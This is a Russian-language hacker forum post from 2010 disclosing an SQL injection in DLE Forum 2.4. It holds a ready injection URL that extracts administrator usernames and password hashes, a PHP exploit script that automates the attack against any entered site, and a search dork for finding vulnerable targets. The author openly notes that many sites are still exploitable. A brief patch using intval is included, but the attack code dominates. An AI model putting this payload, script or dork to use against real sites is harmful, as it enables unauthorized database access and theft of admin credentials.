Показать сообщение отдельно

dle forum 2.4 sql inj
  #10  
Старый 18.03.2010, 19:51
Dark_cracker
Познающий
Регистрация: 29.05.2009
Сообщений: 55
Провел на форуме:
807573

Репутация: 7
Post dle forum 2.4 sql inj

Sql-inj в dle-forum*е 2.4 была найдена мной , ещё месяца 2 назат) решил выложить , т.к. сайтов ещё много дырявых.
site.ru/?do=forum&showtopic=23%2527+union+select+1,2,CONCA T_WS(0x3a,name,password),4,5,6,7,8,9,10,11,12,13,1 4,15,16,17,18,19,20,21,22,23+from+dle_users+where+ user_group=1+limit+1--
юзаем так ...
Защищаемся:
открываем файл: engine/forum/sources/components/init.php
446 строка
PHP код:
....
    if (
$_REQUEST['category'])
    {
        
$act 'category';
        
        
$cid =$_REQUEST['category'];
        
        
$t_act '?c'.$cid;
    }
    if (
$_REQUEST['showforum'])
    {
        
$act 'forum';
        
        
$fid $_REQUEST['showforum'];
        
        
$t_act '?f'.$fid;
    }
    
    if (
$_REQUEST['showtopic'])
    {
        
$act 'topic';
        
        
$tid $_REQUEST['showtopic'];
        
        
$t_act '?t'.$tid;
    }
...... 
заменяем на
PHP код:
......
if (
$_REQUEST['category'])
    {
        
$act 'category';
        
        
$cid intval($_REQUEST['category']);
        
        
$t_act '?c'.$cid;
    }
    
    if (
$_REQUEST['showforum'])
    {
        
$act 'forum';
        
        
$fid intval($_REQUEST['showforum']);
        
        
$t_act '?f'.$fid;
    }
    
    if (
$_REQUEST['showtopic'])
    {
        
$act 'topic';
        
        
$tid intval($_REQUEST['showtopic']);
        
        
$t_act '?t'.$tid;
    }
..... 
вот типа сплоит писал месяца 2 назат для себя.
PHP код:
<form method="POST" >
Введи сайт "например" "<b>alldle.ru</b>" <input type="text" name="site" value="<?=$_POST['site']?>">
лимит вводить если показало mysql error<input type="text" name="lim" value="<?=$_POST['lim']?>">
<input type="submit" value="send">
</form>
<?php 
if (!empty($_POST['site'])){
$lim="1";
if (!empty(
$_POST['lim'])){$lim ="{$_POST['lim']},";$lim .=$_POST['lim'];}
$url='http://'.$_POST['site'].'/?do=forum&showtopic=23%2527+union+select+1,2,CONCAT_WS(0x3a,name,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+dle_users+where+user_group=1+limit+'.$lim.'--';
$ua='Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.10';
$cu=curl_init($url);
curl_setopt($cu,CURLOPT_HEADER0);
curl_setopt($cu,CURLOPT_RETURNTRANSFER1); 
curl_setopt($cu,CURLOPT_FOLLOWLOCATION1);
curl_setopt($cu,CURLOPT_USERAGENT$ua);
$log=curl_exec($cu);
$log=html_entity_decode($log);
if (
preg_match_all('#<title>(.*)» (.*)</title>#i',$log,$log2)){
$ss=$log2[2][0];
if (!
preg_match('#[:]#is',$ss,$loggg)){ echo 'нету баги ';exit;}
$save=explode(':',$ss);
echo 
" <b>site:</b> <font color='green'> ".$_POST['site']."</font><br>";
echo 
" <b>name:</b> <font color='red'> ".$save[0]."</font><br>";
echo 
"<b>pass:</b> <font color='blue'> ".$save[1]."</font><br>";
}
else { echo 
" баги не найдено =( ";preg_match_all('#<title>(.*)</title>#i',$log,$logi); echo "<b>{$logi[1][0]}</b>";}
curl_close($cu);
}
?>
(c) dark_cracker
dork:
inurl:/forum/ intextLE Forum v.2.4 © 2010 Pocketx.Ru
 
Ответить с цитированием